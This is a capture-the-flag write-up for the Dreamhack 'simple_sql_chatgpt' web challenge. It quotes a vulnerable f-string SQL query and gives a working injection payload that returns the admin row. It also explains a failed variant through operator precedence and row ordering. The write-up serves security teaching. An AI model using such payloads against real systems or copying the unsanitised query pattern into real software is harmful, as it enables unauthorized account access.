[Dreamhack] simple_sql_chatgpt
Challenge Overview
- Challenge: simple_sql_chatgpt
- Platform: Dreamhack
- Category: Web — SQL injection
Vulnerable Query
The application constructs an SQL query using unsanitised user input:
1
res = query_db(f"select * from users where userlevel='{userlevel}'")
Resulting SQL:
1
SELECT * FROM users WHERE userlevel = '[input]'
Because the userlevel parameter is directly embedded into the query, it is vulnerable to SQL injection.
Successful Payload
1
' OR '1'='1' AND userid = 'admin' --
Resulting Query
1
2
SELECT * FROM users
WHERE userlevel = '' OR '1'='1' AND userid = 'admin' -- '
Interpretation (Operator Precedence)
1
2
userlevel = ''
OR ('1'='1' AND userid = 'admin')
Since AND has higher precedence than OR, the condition is evaluated as above.
'1'='1'→ TRUE\userid = 'admin'→ TRUE (only for admin)
Therefore:
1
FALSE OR (TRUE AND TRUE) → TRUE
Only the admin row satisfies the condition.
The application retrieves the first result:
1
return (rv[0] if rv else None)
Since only the admin row is returned, the following condition is satisfied:
1
if userid == 'admin' and userlevel == 0:
As a result, the flag is returned.
Failed Payload
1
0' OR '1'='1' AND userid = 'admin' --
Resulting Query
1
2
SELECT * FROM users
WHERE userlevel = '0' OR '1'='1' AND userid = 'admin' -- '
Interpretation
1
2
(userlevel = '0')
OR ('1'='1' AND userid = 'admin')
Evaluation
Guest Row
1
2
userid = 'guest'
userlevel = 0
1
2
3
(userlevel = '0') → TRUE
('1'='1' AND userid = 'admin') → FALSE
TRUE OR FALSE → TRUE
Admin Row
1
2
userid = 'admin'
userlevel = 0
1
2
3
(userlevel = '0') → TRUE
('1'='1' AND userid = 'admin') → TRUE
TRUE OR TRUE → TRUE
Both rows satisfy the condition and are returned.
Why It Fails
The application selects only the first row:
1
return (rv[0] if rv else None)
SQLite returns rows in insertion order:
1
guest → admin
So the selected row is:
1
guest
Therefore:
1
userid == 'admin' → FALSE
Access to the flag is denied.
Key Insight
The condition:
1
(userlevel = '0') OR ('1'='1' AND userid = 'admin')
means:
- Any user with
userlevel = 0 - OR specifically the admin user
Since both guest and admin have userlevel = 0, both are included.
The condition:
1
userid = 'admin'
is only applied to the right side of the OR, not globally.
Summary
1
2
3
4
5
6
7
Payload 1:
' OR '1'='1' AND userid = 'admin' --
→ Only admin returned → Success
Payload 2:
0' OR '1'='1' AND userid = 'admin' --
→ Guest + admin returned → guest selected → Failure
Conclusion
This vulnerability arises due to:
- Unsanitised SQL query construction
- Misuse of operator precedence
- Application logic relying on the first returned row
It demonstrates that successful SQL injection depends not only on bypassing conditions, but also on controlling the result set and its ordering.